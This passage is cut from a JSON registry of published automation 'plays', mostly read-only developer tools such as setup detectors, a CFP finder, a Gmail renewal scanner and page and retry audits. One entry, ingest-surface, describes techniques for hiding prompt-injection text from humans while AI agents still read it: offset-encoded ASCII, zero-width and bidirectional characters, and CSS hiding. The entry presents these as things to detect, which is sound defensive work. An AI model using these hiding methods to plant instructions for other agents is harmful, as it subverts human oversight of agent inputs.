otherwise show an install with no way to run anything. Notes when Postgres, MySQL, Redis, MongoDB or similar are declared as compose services. Pure filesystem reads: no network call, no package manager invoked, no file written, no credentials. Run with demo=true against a bundled fixture to see it work with no setup at all. Needs only python3.","owner":{"kind":"user","slug":"andrew-kevin-007"},"registry_organization":"andrew-kevin-007","tags":["audience-developers","effect-read-only","domain-dev-workflow","onboarding"],"primary_domain":"domain-dev-workflow","author":"andrew-kevin-007","version":"0.1.5","published_at":"2026-09-06T10:01:32.39491+00:00","visibility":"public","quality_score":1,"size_bytes":27562,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":1,"names":["detect_setup"]},"parameters":[{"name":"root","type":"string","required":false,"description":"Path to a freshly cloned repository. On Windows a C:\\ path is translated to its WSL /mnt form automatically when it resolves."},{"name":"demo","type":"string","required":false,"description":"Set to true to run against a bundled fixture repo with no setup at all: a lockfile conflict, an undeclared env var and a database service, all in one small example."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e77a1b88df78adc8c7ffbf7338141b636c29ff16e7c443f0baa6747608df11ba","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/akshatgupta/cfp-radar@0.1.4","reference":"akshatgupta/cfp-radar@0.1.4","uri":"https://play.modiqo.ai/akshatgupta/cfp-radar@0.1.4","manifest_uri":"https://play.modiqo.ai/akshatgupta/cfp-radar@0.1.4","name":"cfp-radar","title":"cfp-radar","description":"Conference calls for papers still open, with the ones you could actually hit first. One line, no arguments: rote play run akshatgupta/cfp-radar. Add root=$PWD and it reads your languages and manifests and floats the calls in your subjects to the top, saying which signal put them there. online=true keeps only remote-friendly ones, near=india keeps one region, min_days=7 hides what you cannot write tonight. Every row carries the closing date, days left, location, the direct submission link, and its source. Anything already closed is dropped before ranking, because a passed deadline is not a lead. Two public datasets are merged, and they are not equally trustworthy about topic: on confs.tech the topic is the name of the file the entry lives in, so it is the dataset's own classification, while developers.events carries no topic at all, so those are inferred from the conference name. That is a guess with a good hit rate, not a fact, and every row says which kind you are reading rather than flattening the two. A conference in both is merged into one row. These are community-maintained lists, not every call in the world, and one listed as open can still have closed early, which is why the link is there. Needs python3 and curl. No API key, no account, no adapters, nothing written.","owner":{"kind":"user","slug":"akshatgupta"},"registry_organization":"akshatgupta","tags":["cfp","conference","speaking","deadlines","career","effect-read-only"],"primary_domain":"domain-uncategorized","author":"akshatgupta","version":"0.1.4","published_at":"2026-09-06T07:08:47.264863+00:00","visibility":"public","quality_score":1,"size_bytes":14184,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["find_cfps","profile_skills"]},"parameters":[{"name":"root","type":"string","required":false,"default":"-","description":"Optional. A directory to read your languages and manifests from, so calls in your subjects are marked and ranked first. Absolute path, for example root=$PWD.","example":"$PWD"},{"name":"languages","type":"string","required":false,"default":"-","description":"Optional comma separated languages to match against instead of scanning a directory, for example languages=python,rust.","example":"python,rust"},{"name":"online","type":"string","required":false,"default":"any","description":"true keeps only remote-friendly conferences, false keeps only in-person ones, any keeps both","example":"true"},{"name":"near","type":"string","required":false,"default":"-","description":"Keep only conferences whose stated location contains this text, for example near=india or near=germany","example":"india"},{"name":"min_days","type":"string","required":false,"default":"0","description":"Hide calls closing sooner than this many days, when you know you cannot write a proposal overnight","example":"7"},{"name":"limit","type":"string","required":false,"default":"25","description":"How many rows to print","example":"25"},{"name":"timeout","type":"string","required":false,"default":"40","description":"Per request HTTP timeout in seconds","example":"40"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to scan when building your profile","example":"8"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d19c53db95146c07ca63fcf4c678791fbcc79e8548c26d33a74a7e14d84a9f60","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/chaitanyagidwani/subscription-renewal-tracker@0.2.0","reference":"chaitanyagidwani/subscription-renewal-tracker@0.2.0","uri":"https://play.modiqo.ai/chaitanyagidwani/subscription-renewal-tracker@0.2.0","manifest_uri":"https://play.modiqo.ai/chaitanyagidwani/subscription-renewal-tracker@0.2.0","name":"subscription-renewal-tracker","title":"subscription-renewal-tracker","description":"Read-only scan of Gmail for subscription/receipt/renewal emails; reports only facts quoted from message bodies (service name, last charge amount/currency, explicit renewal date, whether the amount changed vs the prior matching email) with no inference, totals, or spending advice. Paginates the Gmail search via nextPageToken up to a raised cap (default 500) instead of stopping at the first page, and honestly reports actual coverage (\"examined N of ~M matches\") rather than presenting Gmail's resultSizeEstimate as the examined count.","owner":{"kind":"user","slug":"chaitanyagidwani"},"registry_organization":"chaitanyagidwani","tags":["typescript","gmail-api","subscriptions","finance"],"primary_domain":"domain-uncategorized","author":"chaitanyagidwani","version":"0.2.0","published_at":"2026-09-06T04:42:19.969412+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":10533,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":0,"names":[]},"parameters":[{"name":"lookback","type":"string","required":false,"default":"365d","description":"Gmail relative date filter for newer_than (e.g. '365d', '90d', '30d')"},{"name":"max_results","type":"string","required":false,"default":"500","description":"Maximum TOTAL number of candidate messages to examine, paginating through Gmail search results (newest first) via nextPageToken until this many are found or the search is exhausted, whichever comes first. Hard-capped at 2000 regardless of the value passed. The report always states how many were actually examined vs. Gmail approximate total match count — it never implies full coverage when this cap is hit."}],"execution":{"adapters":[{"id":"chaitanyagidwani/gmail-api","name":"gmail-api","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:489e36e697016eade1094fd237c4ff14f3ba8babede1649adfe2533e955e50bd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":30},"cost":{"api_tokens":1421085,"context_tokens":146143,"exploration_ms":13126,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/midhat/roottrace@0.0.2","reference":"midhat/roottrace@0.0.2","uri":"https://play.modiqo.ai/midhat/roottrace@0.0.2","manifest_uri":"https://play.modiqo.ai/midhat/roottrace@0.0.2","name":"roottrace","title":"roottrace","description":"RootTrace: read-only developer troubleshooting. Investigates a GitHub issue and its comments, then produces an evidence-backed report with a likely root cause and recommended next action.","owner":{"kind":"user","slug":"midhat"},"registry_organization":"midhat","tags":["typescript","github","troubleshooting","report","github-api"],"primary_domain":"domain-uncategorized","author":"midhat","version":"0.0.2","published_at":"2026-09-06T04:12:12.265782+00:00","visibility":"public","quality_score":0.875,"size_bytes":8476,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["issue","comments"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"issue_number","type":"integer","required":true,"description":"Issue number to investigate"},{"name":"comments_limit","type":"integer","required":false,"default":30,"description":"Max issue comments to fetch"}],"execution":{"adapters":[{"id":"midhat/github-api","name":"github-api","version":null,"credential_status":"none"},{"id":"github-api","name":"github-api","version":"1.0.0","credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:125a8d56ab097cee43f32e2afc43fe10a34b85834d1a476895cc07e0c3ab6518","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":2,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[{"adapter":"github-api","steps":2,"methods":["issues/get","issues/list-comments"],"display_name":"github-api","host":"api.github.com","kind":"rest","tools":1224,"fingerprint":"mcp_3oiVc8qU5QXtN7FXSLMEH7HFLx4f","source":"midhat/github-api","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1224},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/rajdeepkushwaha/ingest-surface@0.1.5","reference":"rajdeepkushwaha/ingest-surface@0.1.5","uri":"https://play.modiqo.ai/rajdeepkushwaha/ingest-surface@0.1.5","manifest_uri":"https://play.modiqo.ai/rajdeepkushwaha/ingest-surface@0.1.5","name":"ingest-surface","title":"ingest-surface","description":"If your agent triages issues or reviews pull requests, it reads text nobody on your team wrote. Some characters are invisible to you and perfectly ordinary to a model, so a sentence can sit in an issue body that you will never see and your agent always will. This reads public GitHub issues and pull requests and reports what is in them that a reader cannot see. HIDDEN_TEXT_DECODES is the interesting one: the text is hidden by adding an offset to ordinary ASCII, which means the same arithmetic runs backwards, so it prints the hidden sentence instead of just warning you that something is there. INVISIBLE_CHARACTERS covers zero-width characters, bidirectional controls and a variation selector inside a word. HIDDEN_BY_MARKUP covers the CSS tricks that hide text in a rendered page: zero font size, transparent, off screen, white on white, display none. An HTML comment is deliberately not a finding, because GitHub issue templates are built from them and on five real repositories every single markup hit was a template. It never claims someone did this on purpose. Presence is a fact and intent is not. It needs no token, because public reads do not, which also means GitHub allows sixty requests an hour and fetching comments costs one more request per issue, so comments are off by default and a run that hits the limit says so rather than reporting a short clean list. Pass repo=demo, the default, to try it on bundled items with no network at all. Before it reads anything it runs its own test cases through the same analyzer and prints the result. If those fail it shows you that instead of findings. Read-only, no credentials, and it never posts anything. Needs python3.","owner":{"kind":"user","slug":"rajdeepkushwaha"},"registry_organization":"rajdeepkushwaha","tags":["security","agent-ops","prompt-injection","effect-read-only"],"primary_domain":"domain-uncategorized","author":"rajdeepkushwaha","version":"0.1.5","published_at":"2026-09-06T03:38:44.367611+00:00","visibility":"public","quality_score":1,"size_bytes":15459,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":3,"names":["fetch","inspect","selfcheck"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"demo","description":"A public repository as owner/name, or \"demo\" for the bundled items."},{"name":"limit","type":"string","required":false,"default":"30","description":"How many recent issues and pull requests to read, at most 100."},{"name":"include_comments","type":"string","required":false,"default":"no","description":"Set to \"yes\" to read comments too. This costs one more request per issue against an unauthenticated limit of sixty an hour."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d6bd6c00618c5b95349e8e8d18d679a4c0261d075734bae2f12515f7eb4959e9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/vedang/env-setup-brief@0.1.2","reference":"vedang/env-setup-brief@0.1.2","uri":"https://play.modiqo.ai/vedang/env-setup-brief@0.1.2","manifest_uri":"https://play.modiqo.ai/vedang/env-setup-brief@0.1.2","name":"env-setup-brief","title":"env-setup-brief","description":"One-shot environment and API-key setup brief for any project. Discovers the env contract FROM the code itself: env reads across Python (AST), JavaScript/TypeScript, Go, Rust, Ruby, Java, PHP, .env.example files, docker-compose environment blocks and interpolations, and README fenced setup blocks. Censuses project .env files by NAME only - values never leave the parser; output carries set/empty/placeholder/provider-family fingerprints, never secret text. Joins both into a work-ordered brief that separates what needs a human from what is already handled: CREDENTIALS TO OBTAIN (missing or placeholder values, each mapped to its provider console URL and key shape), WIRE THESE (endpoints and toggles - nothing to purchase), ALREADY PROVIDED BY YOUR COMPOSE FILE (literals in compose environment blocks cover themselves), degraded soft reads with code defaults, and documented README setup lines (OpenAI, Anthropic, GitHub, Hugging Face, Stripe, AWS, Supabase and 60+ more). Emits a fill-in scaffold and printenv verification one-liners for your own shell, because rote steps inherit an ambient env allowlist and cannot honestly check your shell environment. Zero network, zero credentials. write_scaffold=true writes exactly one new file (.env.example.play) and refuses to overwrite. Tested on lobe-chat, aider and memos. Needs only python3.","owner":{"kind":"user","slug":"vedang"},"registry_organization":"vedang","tags":["domain-developer-tools","job-env-setup","audience-developers","effect-read-only","tool-environment"],"primary_domain":"domain-developer-tools","author":"vedang","version":"0.1.2","published_at":"2026-09-06T01:34:42.056941+00:00","visibility":"public","quality_score":1,"size_bytes":46886,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":3,"names":["brief","validate","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the project directory (relative paths are refused - steps run in the play workspace, so a relative path resolves somewhere you did not mean)","example":"/Users/you/src/my-project"},{"name":"max_files","type":"string","required":false,"default":"600","description":"Maximum source files scanned (contract files like .env.example and compose are always collected)","example":"600"},{"name":"write_scaffold","type":"string","required":false,"default":"false","description":"true writes the fill-in scaffold to <root>/.env.example.play (refuses to overwrite an existing file); false keeps the play fully read-only","example":"false"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3b5519d2ab498122aac5dedf1f3a50d4268da50364a31ed723c08732ed02e0bb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/tool-surface-reconcile@0.1.3","reference":"lgoyal6/tool-surface-reconcile@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/tool-surface-reconcile@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/tool-surface-reconcile@0.1.3","name":"tool-surface-reconcile","title":"tool-surface-reconcile","description":"Your agent reaches for a tool mid-task and burns a turn on an auth error nothing could have predicted. That happens because there are three different answers to \"what tools does this agent have\", and every inventory play reads only one of them. ADVERTISED is what a session actually offered the model, read structurally out of transcripts. CONFIGURED is what config files declare, read from every readable site and attributed to its harness by PATH rather than filename, because at least six tools use the name mcp.json. AUTHORIZED is what could really have been called, from the harness's own auth cache, its OAuth records, and the sessions' failed-connection records. The GAP between the three is the finding, and it is invisible from any one of them: advertised but unauthorized, authorized once and not now, advertised under a bare UUID with no declaration anywhere to tell you which vendor holds the grant. Every env map, header map and argv is reduced to key names before it enters a record.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","operations-workflows","job-agent-surface-audit","tool-shell","effect-read-only","mcp-servers","agent-tools","advertised-vs-configured","authorized-tools","claude-code","claude-desktop","cursor","windsurf","codex","mcp-json","oauth-connectors","tool-inventory","audience-developers","audience-security-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:02:28.464842+00:00","visibility":"public","quality_score":1,"size_bytes":38192,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute directory to search for project-scoped MCP declarations (.mcp.json, .cursor/mcp.json). A process.exec step runs in rote's workspace, not your shell, so a relative path would scan rote's own workspace and report every project-scoped declaration as absent; a relative value is refused with exit 2.","example":"/Users/you/src"},{"name":"agent_home","type":"string","required":false,"default":"","description":"Absolute path to the home directory holding the harness config (.claude/, .claude.json, .codex/). Empty means $HOME. Absolute for the same reason as root, and refused if relative.","example":"/Users/you"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for project-scoped MCP declaration files","example":"3"},{"name":"since_days","type":"string","required":false,"default":"0","description":"Only read session transcripts modified within this many days. 0 reads all of them, which is the honest default because the advertised set is a union over sessions and a narrow window would under-report it.","example":"30"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fcd276ad46e345d20e041559eec02d5bdde54664bf6741f838d98e6b0cc8a412","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/show-hn-timing@1.0.2","reference":"lgoyal6/show-hn-timing@1.0.2","uri":"https://play.modiqo.ai/lgoyal6/show-hn-timing@1.0.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/show-hn-timing@1.0.2","name":"show-hn-timing","title":"show-hn-timing","description":"Answers \"when should I post my Show HN\" from the posts themselves instead of folklore. Reads the live Show HN listing through the Hacker News adapter, fans out to fetch each submission individually, and reduces them locally into score and comment distributions by hour of day and day of week in a timezone you choose, plus the title characteristics that co-occur with a higher median. Every number carries the sample size it came from, and an hour with too few posts is printed as too few posts rather than as a median over three. If the fetch comes back incomplete - the API unreachable, rate-limited, or returning a partial set - the whole report is withheld and the play prints UNKNOWN, because the items that failed are not a random subset of the items that succeeded and a confident chart over the survivors is worse than no chart. Needs no account, no credential and no key. Read-only: it reads public listings and posts, and writes nothing.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["effect-read-only","audience-founders","domain-startup","tool-hacker-news","statistics","launch","timing","show-hn","hacker-news","launch-timing","when-to-post","median-not-mean","p90","base-rate","sample-size","hour-of-day","day-of-week","launch-advice","audience-hackathon-builders","audience-developers","audience-indie-hackers","keyless-api","read-only","no-api-key","no-credentials"],"primary_domain":"domain-startup","author":"lgoyal6","version":"1.0.2","published_at":"2026-09-06T01:01:48.245222+00:00","visibility":"public","quality_score":1,"size_bytes":19982,"license":"MIT","stats":{"downloads":4,"installs":0},"steps":{"count":4,"names":["analyze","show_ids","preflight","show_items"]},"parameters":[{"name":"timezone","type":"string","required":false,"default":"UTC","description":"IANA timezone for the hour and weekday buckets. Defaults to UTC, and the report states which timezone it used.","example":"America/Los_Angeles"},{"name":"limit","type":"integer","required":false,"default":200,"description":"How many of the listed Show HN submissions to fetch. The listing endpoint caps at a few hundred ids, so asking for more yields what exists and the report states the sample it actually got.","example":"200"},{"name":"low_score","type":"integer","required":false,"default":5,"description":"Points below which a submission counts as having gone unnoticed. The share under this is the base rate the report leads with.","example":"5"}],"execution":{"adapters":[{"id":"modiqo/hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"},{"id":"hacker-news-api","name":"hacker-news-api","version":"1.0.0","credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d79203c4d3bd50982de2f658526c3a99ae58005216722ea5032ddd6e9bf4dc65","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":2,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":3,"width":2,"fan_out":4,"for_each_steps":1,"complexity":8,"apis":[{"adapter":"hacker-news-api","steps":2,"methods":["getItem","showstories.json"],"display_name":"Hacker News Stories, Comments & User Profiles","host":"hacker-news.firebaseio.com/v0","kind":"rest","tools":10,"fingerprint":"mcp_nKZbxUgpZrf7Pxpk8f7T4ikWctx","source":"modiqo/hacker-news-api","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":10},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/lgoyal6/shipped-page-audit@0.1.3","reference":"lgoyal6/shipped-page-audit@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/shipped-page-audit@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/shipped-page-audit@0.1.3","name":"shipped-page-audit","title":"shipped-page-audit","description":"Source code tells you what was written. Only a real page load tells you what SHIPPED, and the two differ for ordinary reasons: a build flag, a CDN, an edge rule, a header set on a proxy nobody reads. A real browser loads your deployed URL and this reads what a visitor receives. Six things, with source maps the one that matters most: a sourceMappingURL whose target answers 200 hands over the original unminified source of that bundle, which no check of your own dist directory can tell you. Also: security headers, reporting what is missing AND what is present but permissive, because a CSP carrying unsafe-inline reads as protection and is not; cookies, flagged for a missing Secure or HttpOnly; credential-shaped literals in what the browser received, reported as a shape and a count, never a value, and the third-party origins the page contacts. One page load, GET only, no crawling, nothing clicked, no login, no cookie sent back. If the page does not load, the report is UNKNOWN and no verdict is given.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","security-workflows","job-deployment-audit","tool-browser","effect-read-only","deployed-page","security-headers","content-security-policy","unsafe-inline","cookie-flags","httponly","samesite","sourcemap-exposure","what-actually-shipped","real-browser-load","production-audit","post-deploy-check","audience-developers","audience-sre","audience-founders","browser-based","read-only","no-api-key","no-credentials"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:01:43.858643+00:00","visibility":"public","quality_score":1,"size_bytes":21931,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":7,"names":["settle","analyze","open_page","preflight","page_forms","page_links","page_errors"]},"parameters":[{"name":"url","type":"string","required":true,"description":"The deployed page to load and audit. http or https only, and never one carrying credentials in its userinfo.","example":"https://example.com"},{"name":"max_scripts","type":"string","required":false,"default":"25","description":"How many of the page's external scripts to retrieve and examine for a source map and for credential shapes. 1 to 200.","example":"10"},{"name":"http_timeout_s","type":"string","required":false,"default":"20","description":"Per-request timeout in seconds for each read-only GET the audit makes.","example":"20"}],"execution":{"adapters":[],"browser":true,"browser_sign_in":false,"local_tools":["browser"],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:41fdf5ecd2175b082056010b02e989fd298574b5fbc7b9d0ba9ccb9aa4c807e7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":2,"browser":5,"auth":0,"other":0},"distinct_kinds":2,"depth":7,"width":1,"fan_out":0,"for_each_steps":0,"complexity":14,"apis":[],"tools":[{"name":"browser","kind":"tool","source":"declared","count":5},{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"env","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/lgoyal6/runtime-drift@0.1.3","reference":"lgoyal6/runtime-drift@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/runtime-drift@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/runtime-drift@0.1.3","name":"runtime-drift","title":"runtime-drift","description":"Four systems each hold an opinion about which Node or Python this machine uses, and they disagree silently until something breaks in CI and not locally. Per runtime, this answers four questions and prints the reconciliation table across them: what does the project DECLARE (.nvmrc, engines, .python-version, requires-python, go.mod, rust-toolchain, .tool-versions, Dockerfile FROM), what does the version MANAGER select, what is actually first on PATH, and what does CI use. Manager selection is read from the managers' own STATE FILES, never by executing one - which is also the only way to read nvm at all, since nvm is a shell function with no binary. Ranked by what breaks: critical when a project declares a version that is not installed at all, so the declaration is aspirational and whatever is on PATH is silently used instead. High when two declaration files disagree, or the manager selects X while PATH resolves to Y. Nothing is installed, activated or switched.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","environment-workflows","job-runtime-version-reconciliation","tool-static-analysis","effect-read-only","runtime-version","version-manager","nvmrc","python-version","asdf","mise","pyenv","volta","path-resolution","works-locally-fails-in-ci","toolchain-drift","declared-vs-selected","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:01:25.759841+00:00","visibility":"public","quality_score":1,"size_bytes":46313,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to scan for runtime declarations - one project directory, or a parent such as your home directory. A relative path is REFUSED, because a process.exec step runs in rote's own workspace and would scan that instead of your tree.","example":"/Users/you/myrepo"},{"name":"depth","type":"string","required":false,"default":"2","description":"How many directory levels below root to search for declaration files. Workflow files are searched two levels deeper so a project at the requested depth still has its .github/workflows read.","example":"3"},{"name":"max_projects","type":"string","required":false,"default":"40","description":"Upper bound on how many project directories are analysed, so a wide scan cannot grow the fan-out without limit. When the enumeration finds more, the report says so and names the cut.","example":"80"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7a7c743722f0e0eade61839e1918ddb76c413b1a2ea426350fcf10c52f4c2049","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/retry-safety@1.2.4","reference":"lgoyal6/retry-safety@1.2.4","uri":"https://play.modiqo.ai/lgoyal6/retry-safety@1.2.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/retry-safety@1.2.4","name":"retry-safety","title":"retry-safety","description":"Where does this codebase retry in a way that will make a bad day worse? Ranked by blast radius. Then the availability bugs: no maximum attempt count, backoff with no jitter which synchronises every client into one thundering herd, a flat delay with no growth, a retry wrapped around another retry so the counts multiply, and no timeout on the underlying call so one attempt can hang forever. Last, the waste: retrying a 4xx or an auth rejection, which can only fail again. Precision is the design. PUT, DELETE and GET are idempotent by specification and are never called unsafe writes, nor is a POST carrying an idempotency key or an ON CONFLICT clause. A deliberate poll loop is excluded and counted. Library defaults are never guessed: only configuration visible in the source is judged, and where safety depends on a version the source cannot show, the finding says so. Hand-written loops in seven languages plus the visible config of eleven retry libraries. Read-only, 